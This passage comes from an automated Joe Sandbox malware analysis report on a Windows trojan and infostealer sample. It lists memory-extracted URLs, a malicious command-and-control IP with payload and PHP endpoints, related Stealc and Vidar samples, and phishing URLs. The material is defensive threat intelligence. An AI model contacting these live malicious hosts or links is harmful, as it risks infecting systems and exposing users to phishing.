https://anglebug.com/7714	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/O	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/	chrome.exe, 00000001.00000002.1849220186.0000307C009CC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000001.00000003.1746707151.0000307C0112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746873307.0000307C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Q	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/chrome/tips/	chrome.exe, 00000001.00000002.1849143919.0000307C00988000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848412028.0000307C0084C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850585006.0000307C00C68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/V	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/T	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000001.00000003.1764556666.0000307C01428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1763930483.0000307C01498000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/Y	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6929	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/c	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000002.00000003.1730723961.0000018FD50C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://95.215.207.176=0	xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002F69000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/e	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850585006.0000307C00C68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000001.00000002.1848146078.0000307C007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843997865.0000307C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850627429.0000307C00C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848102287.0000307C007B4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/34980	chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848270241.0000307C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/?q=	chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000001.00000003.1748299216.0000307C00F58000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000001.00000003.1746126968.0000307C00F4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746161282.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744849990.0000307C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746707151.0000307C0112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746213982.0000307C00F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745169297.0000307C01098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745318061.0000307C00F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746873307.0000307C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746056647.0000307C00CD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745464349.0000307C01064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745129071.0000307C01048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842899312.0000307C002F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview	chrome.exe, 00000001.00000003.1768693215.0000307C01680000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/tools/feedback/chrome/__submit0	chrome.exe, 00000001.00000002.1843997865.0000307C004BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000001.00000002.1850392599.0000307C00C1C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	xLgTQcFdIJ.exe, 00000000.00000003.1835785135.000000002333D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000002.00000002.2093924888.0000018FD4E00000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	xLgTQcFdIJ.exe, 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	xLgTQcFdIJ.exe, 00000000.00000003.1835785135.000000002333D000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en;	chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000001.00000002.1847614468.0000307C0073C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1845907427.0000307C004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1853248247.0000307C010A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000001.00000002.1847369077.0000307C006D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847746651.0000307C00780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1849143919.0000307C00988000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843917525.0000307C004A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3078	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://95.215.207.176/70d63ca8a5be6cc3/vcruntime140.dllP	xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FA7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5371	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1846936269.0000307C0061C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://developer.chrome.com/extensions/external_extensions.html)	chrome.exe, 00000001.00000002.1842107761.0000307C00134000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000001.00000002.1847614468.0000307C0073C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1845907427.0000307C004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1853248247.0000307C010A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://95.215.207.176d8ddb681db736e16.phption:	xLgTQcFdIJ.exe, 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://clients4.google.com/chrome-sync	chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/$	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/a	chrome.exe, 00000001.00000002.1849220186.0000307C009CC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	xLgTQcFdIJ.exe, 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850585006.0000307C00C68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3502	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3625	chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3624	chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/presentation/J	chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEklyCreate	chrome.exe, 00000001.00000002.1848146078.0000307C007C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	plus.l.google.com	United States	15169	GOOGLEUS	false
87.106.236.48	perseverclinic.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
95.215.207.176	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.142	play.google.com	United States	15169	GOOGLEUS	false
172.217.18.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546693
Start date and time:	2024-11-01 13:41:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xLgTQcFdIJ.exe renamed because original name is a hash value
Original Sample Name:	f299a21673da1c7f3884cda4855d5177.exe
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.evad.winEXE@78/58@7/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 89 Number of non-executed functions: 215
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.131, 216.58.206.46, 74.125.206.84, 34.104.35.123, 216.58.212.163, 184.28.90.27, 172.217.23.106, 142.250.185.202, 142.250.186.42, 142.250.181.234, 142.250.186.74, 216.58.206.74, 142.250.185.234, 142.250.185.106, 142.250.186.170, 142.250.74.202, 172.217.18.106, 142.250.184.234, 142.250.185.74, 142.250.185.170, 216.58.206.42, 142.250.185.138, 93.184.221.240, 192.229.221.95, 20.189.173.22
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, 6.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.0.3.0.1.3.0.6.2.ip6.arpa, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: xLgTQcFdIJ.exe

Simulations

Behavior and APIs

Time	Type	Description
08:42:02	API Interceptor	3x Sleep call for process: svchost.exe modified
08:42:31	API Interceptor	1x Sleep call for process: EHDHDHIECG.exe modified
08:42:34	API Interceptor	18x Sleep call for process: powershell.exe modified
08:42:48	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
87.106.236.48	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	campuspersever.es/chrome_93.exe
239.255.255.250	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fir.nbaikp3.sa.com%2Fdelaw%2Flawn%2Fkoo%2Fsf_rand_string_mixed(24)/bill.wafford@qurateretail.com	Get hash	malicious	HTMLPhisher	Browse
	ae713827-e32c-f66b-fbdb-5405db450711.eml	Get hash	malicious	Unknown	Browse
	http://mailsystem.clubreadymail.com/ls/click?upn=u001.dtlwkBC06DNvwxOIDozee7JfaEFoikK29eANg7C1JNJcXhZ5gVX-2FXngetD1DVBofJAdCxJYPz79KkHjQ4a88CWk3uwk0LHTd-2BQuqz7QlX5FT8W9oRLmLCtzSTX4k0IZqtxXd_tqQENWc9xFqnCCp3iHBun6Ny8Hr4S4LXflP5eWCRCPqMvoWfGV9u-2FwKqzOzsMAx2mMZTD10t6F-2Fa-2BzGZBzV05lc-2BTr9aqg9-2BqytIbVadpFenaHQ0v-2BIdTTiMe-2F-2BfHHsBDK3wAuPgwhtkcw4b5gAaeO6jGph7EzccXK6qZ9q3RXZcEXV8nVUtJyrcSCDmB-2Bn3qJnRr0-2BMlZvtkB3QnuJkj-2BigNgcTK7oh9PPlXl-2FakX6q-2BsTqF4DIEpeEYAXLd3sT	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	Action Desk Support 01 Nov.msg	Get hash	malicious	Unknown	Browse
	https://www.cognitoforms.com/f/wAh1CzXrnEmEifrmJ4OEgg/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	http://edgeupgrade.com	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	https://tx.gl/r/jQ2FU/	Get hash	malicious	Unknown	Browse
	https://pcapp.store/pixel.gif	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ON-LINE-DATAServerlocation-NetherlandsDrontenNL	XJQkTVvJ3I.exe	Get hash	malicious	Stealc	Browse	185.235.128.16
	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse	185.235.128.16
	I43xo3KKfS.exe	Get hash	malicious	Stealc	Browse	45.88.105.105
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse	45.88.105.105
	b4s45TboUL.exe	Get hash	malicious	Stealc, Vidar	Browse	45.91.200.39
	qPNf2kJgzI.exe	Get hash	malicious	Stealc	Browse	45.91.200.39
	tdnPqG0jmS.exe	Get hash	malicious	Stealc, Vidar	Browse	45.91.200.39
	y3c6AzPbtt.exe	Get hash	malicious	Stealc	Browse	45.88.105.194
	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse	45.88.105.194
	NGy4YdKSwE.exe	Get hash	malicious	Stealc, Vidar	Browse	45.88.105.194
ONEANDONE-ASBrauerstrasse48DE	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	217.160.0.158
	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	https://hidrive.ionos.com/lnk/FamigcCEF	Get hash	malicious	Unknown	Browse	213.165.66.58
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse	87.106.236.48
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	217.76.156.252
	b4s45TboUL.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	tdnPqG0jmS.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	217.76.156.252
	HSBC Payment Advice.exe	Get hash	malicious	FormBook	Browse	217.160.0.118
	jew.ppc.elf	Get hash	malicious	Mirai	Browse	82.223.130.245

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
